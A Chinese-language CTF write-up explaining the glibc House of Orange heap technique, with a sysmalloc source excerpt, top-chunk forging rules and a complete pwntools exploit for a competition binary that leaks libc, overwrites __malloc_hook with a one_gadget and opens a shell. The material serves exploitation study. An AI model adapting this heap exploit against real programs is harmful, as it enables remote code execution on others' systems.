House of Orange
October 20, 2019 PWN 访问: 21 次
这种利用手法可以把一个chunk
给释放掉,过程没有使用到free
函数
源码分析
在调用malloc
分配chunk
的时候,会首先看fast bin
、small bin
、large bin
、unsorted bin
里是否有合适的chunk来分配,如果都没有的话,就会从top chunk中分配
但是,当top chunk也不够的时候,就会执行以下代码:
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
malloc.c:2260
:
/*
sysmalloc handles malloc cases requiring more memory from the system.
On entry, it is assumed that av->top does not have enough
space to service request for nb bytes, thus requiring that av->top
be extended or replaced.
*/
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
……………………
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);
}
}
}
}
}
} /* if (av !
可以看到,会调用_int_free
函数把原来的top chunk
给free掉
伪造的 top chunk size 的要点
- 伪造的 size 必须要对齐到内存页
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
内存页对齐:0x602020+0x20fe0=0x623000,可以伪造成0x0fe1,0x1fe1,0x2fe1……
巅峰极客 pwn1
保护全开,free
和show
函数都只能利用一次,edit
中存在堆溢出,最多可以溢出8个字节,可以修改到top chunk
,然后利用House of Orange
使unsorted bin
中出现chunk
,然后泄露libc
,然后可造成UAF
,修改__free_hook
即可获取shell
Exp:
from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '8f383c80.gamectf.com'
prot = '40079'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def create(chunk_size,value):
ru('Your choice > ')
sl('1')
ru('Size > ')
sl(str(chunk_size))
ru('Content > ')
sl(value)
def delete():
ru('Your choice > ')
sl('3')
def show():
ru('Your choice > ')
sl('2')
def edit(size,value):
ru('Your choice > ')
sl('4')
ru('Size > ')
sl(str(size))
ru('Content > ')
sd(value)
def debug():
gdb.attach(r)
raw_input()
ru("What's your name?")
sl("wxm")
create(0x38,"aaa")
edit(0x40,"a"*0x30+p64(0)+p64(0xfc1))
create(0xf00,"bbb")
create(0xc0,"ccc")
create(0x60,"")
show()
ru("\x7f\x00\x00")
li("free",libc.symbols['free'])
libc_base = u64(r.recv(8))-0x3c4bf8
li("libc_base",libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete()
edit(0x68,p64(__malloc_hook-0x23))
create(0x60,"")
one_gg = 0xf02a4+libc_base
create(0x60,"aaa"+p64(0)*2+p64(one_gg))
# debug()
ru('Your choice > ')
sl('1')
ru('Size > ')
sl("32")
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''